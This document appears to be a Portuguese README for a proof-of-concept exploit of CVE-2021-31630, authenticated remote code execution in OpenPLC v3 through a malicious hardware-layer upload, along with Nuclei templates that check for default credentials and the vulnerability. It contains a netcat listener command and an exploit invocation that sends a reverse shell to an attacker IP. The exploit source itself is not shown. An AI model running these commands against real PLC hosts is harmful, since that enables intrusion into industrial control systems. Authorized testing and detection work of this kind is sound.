
Exploit de prova de conceito em Python 3.13+ para CVE-2021-31630, permitindo execução remota de código autenticada no OpenPLC v3 por meio do upload malicioso de camada de hardware. Inclui templates de detecção do Nuclei para credenciais padrão e verificações de vulnerabilidade.
Este é um exploit de prova de conceito moderno e compatível com Python 3.13+ para CVE-2021-31630, uma vulnerabilidade no OpenPLC v3 que permite a um usuário autenticado enviar uma camada de hardware personalizada contendo código malicioso, levando à execução remota de código (RCE) no host.
A descoberta original da vulnerabilidade e o advisory foram feitos por Fellipe Oliveira. Esta reimplementação e modernização usa httpx, ferramentas de CLI, logging e técnicas de detecção mais seguras.
nc -lvnp 9001
python3 openplc_rce.py http://target:8080 -lh YOUR_IP -lp 9001
Flags opcionais:
nuclei -t nuclei-templates/openplc-default-login.yaml -u http://target:8080
nuclei -t nuclei-templates/openplc-authenticated-rce-check.yaml -u http://target:8080
O segundo template faz login e tenta um envio de payload inofensivo + compilação para confirmar a provável vulnerabilidade — sem acionar a execução real de código.
Este código é apenas para testes de segurança educacionais e autorizados. Não use sem permissão explícita do proprietário do sistema.